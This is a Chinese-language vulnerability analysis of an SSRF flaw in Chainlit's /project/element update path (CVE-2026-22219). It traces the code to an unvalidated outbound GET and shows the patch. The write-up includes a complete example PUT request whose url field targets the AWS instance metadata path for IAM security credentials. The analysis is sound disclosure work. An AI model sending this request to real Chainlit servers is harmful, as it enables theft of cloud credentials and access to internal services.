漏洞简介

Chainlit是一个开源AI框架,2.9.4 之前的 Chainlit 版本在使用 SQLAlchemy 数据层后端配置时,/project/element 更新流程中存在服务器端请求伪造(SSRF)漏洞。认证客户端可以在元素中提供用户控制的 URL 值,该值由 SQLAlchemy 元素创建逻辑通过出站 HTTP GET 请求获取。这使得攻击者可以从Chainlit服务器向内部网络服务或云元数据端点发出任意HTTP请求,并通过配置的存储提供商存储检索到的响应。

漏洞影响

评分:8.3(高危)

版本: < 2.9.4

漏洞分析

攻击请求包示例:

PUT /project/element HTTP/1.1
Content-Type: application/json
Cookie: session_id=合法会话ID

{
  "element": {
    "type": "custom",
    "id": "ssrf-attack",
    "name": "正常文件",
    "display": "inline",
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "props": {},
    "sessionId": "合法会话ID"
  }
}

​

169.254.169.254:AWS EC2云实例元数据服务的内置IP地址

/latest/meta-data/iam/security-credentials/:获取当前IAM角色临时安全凭证的路径

element_dict = cast(ElementDict, payload.element)

接收攻击者数据

element = Element.from_dict(element_dict)

创建Element对象,并使用element_dict,也就是攻击者数据

await element.update()

调用element.update()方法,那我们跳到该方法处

"""
        Create an Element instance from a dictionary representation.

        Args:
            _dict (ElementDict): Dictionary containing element data

        Returns:
            Element: An instance of the appropriate Element subclass
        """

关键:从字典创建Element实例

url = str(e_dict.get("url")) if e_dict.get("url") else None

从字典中提取并转换URL字符串

common_params = {
            "id": element_id,
            "for_id": for_id,
            "name": name,
            "content": content,
            "path": path,
            "url": url,
            "object_key": object_key,
            "chainlit_key": chainlit_key,
            "display": display,
            "mime": mime_type,
        }

URL在这里被传入

elif type == "custom":
            return CustomElement(props=e_dict.get("props", {}), **common_params)  # type: ignore[arg-type]

创建CustomElement,传入包含URL的参数

传入包含攻击者URL的Element,接下来走到sqlalchemy_data_layer.py的create_element方法

element.url = 攻击者控制的URL

async with session.get(element.url) as response:
                    if response.status == 200:
                        content = await response.read()

无任何验证,直接发起HTTP请求,并获取响应内容

后续代码就是将获取的内容存储到云存储

然后在这里生成可公开访问的URL并存入数据库,使得攻击者可得到SSRF攻击的响应内容

漏洞修复

element = _sanitize_custom_element(element_dict)

def _sanitize_custom_element(element_dict: "ElementDict") -> "CustomElement":
    from chainlit.element import CustomElement
    return CustomElement(
        id=element_dict["id"],
        for_id=element_dict.get("forId") or "",
        thread_id=element_dict.get("threadId") or "",
        name=element_dict["name"],
        props=element_dict.get("props") or {},
        display=element_dict["display"],

使用安全函数创建Element,该函数不再传递url和object_key参数

参考

https://github.com/Chainlit/chainlit/blob/2.9.3/backend/chainlit/element.py#L131

https://www.cve.org/CVERecord?id=CVE-2026-22219

https://github.com/Chainlit/chainlit/commit/ffc3cce648b343b933e10e85ee5805c7e02ab3bf